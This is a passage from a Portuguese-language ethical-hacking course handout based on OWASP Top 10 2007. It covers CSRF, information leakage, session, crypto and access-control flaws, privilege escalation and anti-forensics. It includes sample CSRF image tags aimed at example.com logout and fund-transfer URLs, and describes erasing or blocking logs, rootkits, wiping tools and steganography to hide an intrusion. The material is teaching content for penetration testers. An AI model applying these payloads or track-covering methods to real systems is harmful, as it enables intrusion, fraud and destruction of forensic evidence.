exemplo, cookies de seo, credenciais de autenticao bsica, endereo de IP de origem, certicados SSL ou credenciais de um domnio Windows. Esta vulnerabilidade tambm conhecida por outros diversos nomes incluindo Session Riding, Ataques One-Click, Cross Site Reference Forgery, Hostile Linking e Automation Attack. O acrnimo XSRF freqentemente usado. Ambos a OWASP e o MITRE padronizaram o uso do termo Cross Site Request Forgery e CSRF
13.8.1 VULNERABILIDADE
Um ataque tpico CSRF contra um frum pode ter a forma de direcionar o usurio a invocar alguma funo, como por exemplo, a pgina de logout da aplicao. A seguinte tag em qualquer pgina web vista pela vtima gerar uma requisio que encerra sua seo:
<img src="http://www.example.com/logout.php
Caso um banco permita sua aplicao a processar requisies, como a transferncia de fundos, um ataque similar pode permitir:
<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43
13.8.2 EXPLORANDO
Os parmetros utilizados e o formato de ataque muito parecido com o XSS. Inclusive, o tipo de ataque CSRF surgiu a partir do XSS, quando os atacantes perceberam que a partir da chamada para execuo de script com XSS, seria possvel estender para alm a capacidade de explorao de seus ataques. Jeremiah Grossman em sua palestra na BlackHat 2006 Hacking Intranet Sites from the outside, demonstrou ser possvel forar o usurio a modicar seu roteador DSL sem seu consentimento; mesmo que o usurio no saiba que o roteador possua uma interface web. Jeremiah usou um nome de conta padro do roteador para realizar o ataque.
Pgina 161
Todos estes ataques funcionam, pois a credencial de autorizao do usurio (tipicamente um cookie de sesso) automaticamente includa em requisies do navegador, mesmo que o atacante no fornea tal credencial. Caso a tag contendo o ataque possa ser postada em uma aplicao vulnervel, ento a probabilidade de encontrar vtimas autenticadas incrementada signicativamente, similar ao incremento do risco entre as falhas XSS armazenadas e reetidas. Falhas XSS no so necessrias para um ataque CSRF funcionar, apesar de que qualquer aplicao com falhas XSS esteja susceptvel a CSRF, pois um ataque CSRF pode explorar uma falha XSS para roubar qualquer credencial no fornecida de forma automtica que possa estar em execuo para proteger contra um ataque CSRF. Muitos worms de aplicao tm usado ambas as tcnicas de forma combinada. Quando estiver construindo defesas contra ataques CSRF, deve-se focar tambm na eliminao de vulnerabilidades XSS na aplicao, uma vez que tais vulnerabilidades podem ser usadas para subverter a maioria das defesas contra CSRF aplicadas.
Pgina 162
informao pode ser o caminho para lanar ataques ou ferramentas automticas mais poderosas.
13.9.1 VULNERABILIDADE
Aplicaes freqentemente geram mensagens de erros e as mostram para os usurios. Muitas vezes essas informaes so teis para os atacantes, visto que elas revelam detalhes de implementaes ou informaes teis para explorar uma vulnerabilidade. Existem diversos exemplos comuns disso: Manipulao de erro detalhada, onde se induzirmos alguns erros sero mostradas muitas informaes, como o rastreamento da pilha, validaes, falhas de SQL, ou outras informaes de debug. Funes que produzem diferentes sadas baseado-se em diferentes entradas. Por exemplo, substituindo o mesmo nome de usurio com senhas diferentes deveria produzir o mesmo texto como usurio inexistente, ou password invlido. Entretanto, muitos sistemas geram diferentes cdigos de erros.
13.9.2 EXPLORANDO
Para explorar esta falha vamos utilizar algumas ferramentas automatizadas em aula, segue uma lista de ferramentas para voc pesquisar: FireCat - conjunto de plugins para o refox. Firebug - plugin do refox para alterao de parmetro no browser cliente. WebScarab - proxy que permite a captura e manipulao de parmetros enviados pelo navegador. Paros Proxy - proxy que permite a captura de parmetros enviados pelo navegador. Nessus - ferramenta de varredura em busca de vulnerabilidades, baseado em plugins constantemente atualizado, escritos em NASL. Nikto - ferramenta de busca de vulnerabilidades e falhas de congurao do Webserver Apache.
Pgina 163
IEWatch - um plugin para o Microsoft Internet Explorer para analisar cabealhos de requisies HTTP e HTTPS, alm de cdigo fonte HTML. Wireshark - sniffer de rede que possibilita a anlise de protocolos e ltro de pacotes, a partir de regras personalizadas, que trafegam na rede. Wapiti - scanner de vulnerabilidade de aplicaes web, pesquisa falhas XSS, injeo de SQL e XPath, incluses de arquivo (local e remoto) a execuo de comandos, injeo LDAP e injeo CRLF. W3AF - framework para auditoria e teste de invaso em aplicaes web.
13.10.1 VULNERABILIDADE
Furos no mecanismo principal de autenticao no so incomuns, mas falhas so geralmente introduzidas a partir de funes menos importantes de autenticao como logout, gerncia de senhas, timeout, recordao de dados de logon, pergunta secreta e atualizao de conta.
Pgina 164
13.10.2 EXPLORANDO
Sistemas com falha de gerncia de sesso podem ser vitimas de Session Hijacking atravs de: Falhas de XSS Snifer de rede local Cockies Armazenados
13.11.1 VULNERABILIDADE
Prevenir falhas de criptograa requer planejamento cuidadoso. Os problemas mais comuns so:
Pgina 165
No criptografar dados sensveis Uso inseguro de algoritmos fortes Uso de algoritmos caseiros Continuar usando algoritmos que provadamente so fracos (MD5, SHA-1, RC3, RC4, etc.) Difcil codicao de chaves, e armazenar chaves em sistemas de armazenamento desprotegidos
13.11.2 EXPLORANDO
Vamos ver abaixo os tipos de ataques mais utilizados para ter acesso s informaes armazenadas. Brute-force Rainbowcrack + hash sites Md5 Web Crackers
Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6145 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1664 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1101 http://www.owasp.org/index.php/Cryptography http://www.owasp.org/index.php/Guide_to_Cryptography http://www.owasp.org/index.php/Insecure_Storage http://www.owasp.org/index.php/How_to_protect_sensitive_data_in_URLs
Pgina 166
usada em todas as conexes autenticadas, especialmente pginas web com acesso via internet, mas tambm conexes com o back- end. Seno, o aplicativo ir expor uma autenticao ou o token de sesso. Adicionalmente, a autenticao deve ser usada sempre que dados sensveis, assim como cartes de crdito ou informaes de sade so transmitidos. Aplicaes cujo modo de encriptao possa ser subvertido so alvos de ataques. Os padres PCI requerem que todas as informaes de cartes de credito que so transmitidas pela internet sejam encriptadas.
13.12.1 VULNERABILIDADE
Falha na hora de encriptar informaes sensveis signica que um invasor que possa escutar o trfego da rede poder ter acesso conversa, incluindo quaisquer credenciais ou informaes sensveis transmitidas. Considerando que redes diferentes tero mais ou menos suscetibilidade a escuta. Entretanto, importante notar que eventualmente um servidor ser comprometido em praticamente qualquer rede, e que invasores instalaro rapidamente uma escuta para capturar as credenciais de outros sistemas. O uso de SSL para comunicao com usurios nais critico, pois muito provvel que eles utilizem formas inseguras de acessar os aplicativos. Porque HTTP inclui credenciais de autenticao ou um token de sesso para cada pedido, toda autenticao do trfego deve ir para o SSL, no s os pedidos de login. A encriptao de informaes com servidores de back-end tambm importante. Mesmo que estes servidores sejam naturalmente mais seguros, as informaes e as credenciais que elas carregam so mais sensveis e mais impactantes. Portanto, usar SSL no back-end tambm muito importante. A encriptao de informao sensvel, assim como cartes de crdito e informaes de previdncia, se tornou um regulamento nanceiro e de privacidade para vrias empresas. Negligenciar o uso de SSL para o manuseio de conexes de informaes cria um risco de no conformidade.
Pgina 167
13.12.2 EXPLORANDO
Aplicaes Web com comunicao insegura podem facilmente ser vitimas de sniffers de rede, em aula veremos o uso do Wireshark.
13.13.1 VULNERABILIDADE
O principal mtodo de ataque para esta vulnerabilidade chamado de navegao forada (forced browsing), na qual envolve tcnicas de adivinhao de links (guessing) e fora bruta (brute force) para achar pginas desprotegidas. comum que aplicaes utilizem cdigos de controle de acesso por toda a aplicao, resultando em um modelo complexo que diculta a compreenso para desenvolvedores e especialistas em segurana. Esta complexidade torna provvel a ocorrncia de erros e algumas pginas no sero validadas, deixando a aplicao vulnervel. Alguns exemplos destas falhas incluem:
Pgina 168
URLS escondidas e especiais, mostradas apenas para administradores ou usurios privilegiados na camada de apresentao, porm acessvel a todos os usurios caso tenham conhecimento que esta URL existe, como /admin/adduser.php ou /approveTransfer.do. Estas so particularmente comuns em cdigos de menus. Aplicaes geralmente permitem acesso a arquivos escondidos, como arquivos XML estticos ou relatrios gerados por sistemas, conando toda segurana na obscuridade, escondendo-os. Cdigos que foram uma poltica de controle de acesso desatualizada ou insuciente. Por exemplo, imagine que /approveTransfer.do foi disponibilizado uma vez para todos usurios, mas desde que os controles da SOX foram adotados, ele supostamente s pode ser acessvel por usurios aprovadores. Uma possvel correo seria no mostrar a URL para usurios no autorizados, no entanto o controle de acesso ainda no estaria implementado na requisio para esta pgina. Cdigos que validam privilgios no cliente (browser) e no no servidor, como neste ataque na MacWorld 2007, que aprovava para Platinum passes que valiam $1700 via Java Script no browser ao invs de validar no servidor.
Pgina 169
1 2 3
Alm de arquivos com suidroot, tambm podem ser exploradas falhas no kernel do sistema, que quem cuida dos privilgios dos usurios, e conseqentemente, ganharemos privilgios administrativos se a falha for explorada com sucesso. Portanto, aps identicarmos os arquivos que possuem esse tipo especial de permisso, precisamos identicar falhas de segurana nesses softwares. Essas falhas podem ser pblicas, ou seja, que possvel encontrar na internet, ou privada, que pode ser comprada de um pesquisador ou empresa, ou at mesmo descoberta pelo prprio atacante.
14.3 Laboratorio
Vamos fazer um laboratorio com uma das maquinas Kioptrix. Aguarde para ver em aula.
Pgina 171
15 Apagando Rastros
15.1 Por que encobrir rastros?
Um dos objetivos, em um teste de invaso, de utilizar tcnicas para encobrir seus rastros e aes, para testar a eccia e competncia do time de resposta a incidentes e percia forense caso os mesmos existam. As tcnicas para apagar rastros tambm so conhecidas como anti-forensic. No h necessidade desse tipo de ao por parte de um pentester, caso queira deixar as evidncias de explorao para posterior anlise por parte da equipe de Ti da empresa contratante. No entanto, caso tenha como objetivo testar, tambm, a capacidade da equipe de percia forense em investigar um caso de invaso, interessante implementar os passos estudados nesse captulo
Apagando Rastros
Arquivos sendo executados, como backdoors, por exemplo - Todo programa ou arquivo em execuo, reconhecido pelo sistema como um processo, e como um pode ser recuperado da memria. Existem vrias formas de mascarar a execuo de binrios, como por exemplo um rootkit, que substitui binrios do sistemas por seus prprios, com implementaes de cdigos maliciosos. Logs de comandos - Tudo o que digitado no terminal armazenado no .bash_history do usurio, por exemplo. Mesmo que seja apagado, esse arquivo tambm pode ser recuperado pela equipe de percia forense. Logs de sesso - Quando efetuamos o login e autenticamos uma sesso vlida, tudo o que ocorre na mesma armazenado em logs. Algumas organizaes possuem, inclusive, servidores exclusivos para armazenamento e gerenciamento de logs. No Linux, a maioria dos logs cam armazenados em /var/log.
15.3 Tcnicas
Sobreescrita de dados - Quando apagamos algo em um disco, os dados so apenas marcados para a deleo e no realmente apagados. Os dados marcados para a deleo, so apagados apenas quando o sistema operacional utiliza os mesmos blocos do disco para gravar novos dados, realizando a sobreescrita. Quanto mais vezes aquele mesmo setor for sobreescrito, mais difcil se tornar a recuperao das informaes originalmente existentes. Esse mtodo tambm conhecido como wipe. Preveno de criao de dados - possvel, atravs da alterao de permisso em determinados arquivos, que novos dados sejam inseridos no mesmo, por exemplo. Podemos citar o caso de arquivos de log, que se tiver sua permisso alterada para negar a possibilidade de escrita nos mesmo, nenhuma nova operao ser armazenada, e o administrador do sistema no poder fazer a vericao posterior para entender o que comprometeu o sistema ou a rede. Encriptao de dados - A melhor maneira de ocultar um arquivo, para que ningum veja seu contedo, ou consiga alter-lo, encriptando-o, seja atravs de uma ferramenta especca de encriptao, seja ocultando o arquivo dentro de outro, cuja extenso e contedo sejam diversos do original. Essa ltima tcnica tambm pode ser chamada de esteganograa. Deleo segura de dados - Essa tcnica est diretamente vinculada com a primeira, de sobreescrita de dados. Todo e qualquer processo de deleo de
Pgina 173
Apagando Rastros
arquivos, deve ser cuidadoso, para que no seja possvel a posterior recuperao das informaes.
15.4 Ferramentas
Tor (The Onion Router) - O Tor mantm o usurio livre de bisbilhoteiros, inclusive os do FBI e os da CIA, e impede (ou diculta bastante) qualquer tipo de rastreamento. E exatamente isso que o Tor oferece. Em vez de seguir uma rota direta entre origem e destino, toda a informao transmitida por ele segue um caminho randmico, que se altera permanentemente, atravs de diversos servidores voluntrios que cobrem a rota. Fica difcil para qualquer sistema saber quem voc , onde voc est ou de onde veio, embora seja possvel saber o que voc est levando consigo. Wipe - Wipe um aplicativo que permite a deleo segura de dados, permitindo que o usurio dena quais arquivos sero apagados e quantas vezes aqueles blocos de disco, onde os arquivos apagados estavam alocados, sero sobreescritos. Quanto mais vezes se sobreescreve, mais difcil a posterior recuperao dos dados. Cada operao de sobreescrita deve ser realizada at o nal, para que o prorama seja completamente ecaz. Scrub - Outra possibilidade para realizar o data wiping, sobrescrevendo os dados deletados com um padro determinado de informaes, que podem ou no ser removidas no nal da informao. Se no forem removidas, o perito forense encontrar apenas lixo digital nos blocos do disco, sem qualquer coerncia. Steghide - Steghide um programa de esteganograa que capaz de esconder dados em vrios tipos de arquivos de udio e de imagem. As frequncias de som e de cor, respectivamente, no so alteradas tornando o arquivo resistente contra testes estatsticos de primeira ordem. Formatos de arquivos JPEG, BMP, WAV e AU so suportados para uso como arquivo de "cobertura". No h restries sobre o formato dos dados secretos. O algoritmo de criptograa padro o Rijndael com uma chave de 128 bits de comprimento (que AES - Advanced Encryption Standard). Se voc no cona nesta combinao por qualquer razo, sinta-se vontade para escolher outra combinao modo/algoritmo.
Pgina 174
16 Referncias Bibliogrcas
Todo material sobre IPV6 foi extraido de: Apostila IPV6 Bsico - rev. 2012.07.22-01 Autores: Antonio Marcos Moreiras Edwin Santos Cordeiro Rodrigo Regis dos Santos Alexandre Yukio Harano Eduardo Barasal Morales Heitor de Souza Ganzelli Tiago Jun Nakamura Rodrigo Mattos Carnier Tuany Tabosa Fornecido pelo NIC.br atravs do site http://www.ipv6.br
Utilizamos o OWASP TOP 10 2007 Traduzido para Portugus por: Cleber Brando Clebeer - Analista de Controle de Qualidade - BRconnection Fabricio Ataides Braz Leonardo Cavallari Militelli Especialista de Segurana - E-val Tecnologia
Referncias Bibliogrcas
Marcos Aurlio Rodrigues - Analista Segurana - BRconnection Myke Hamada Rodrigo Montoro Sp0oKer - Analista Segurana - BRconnection Disponivel para download em: http://www.owasp.org/images/4/42/OWASP_TOP_10_2007_PT-BR.pdf
Sites pesquisados: http://pt.wikipedia.org http://tools.ietf.org http://www.ipv6.br http://www.torproject.org http://www.openwall.com http://www.ethicalhacker.net http://www.owasp.org http://cve.mitre.org http://www.segurancaremota.com.br
Pgina 176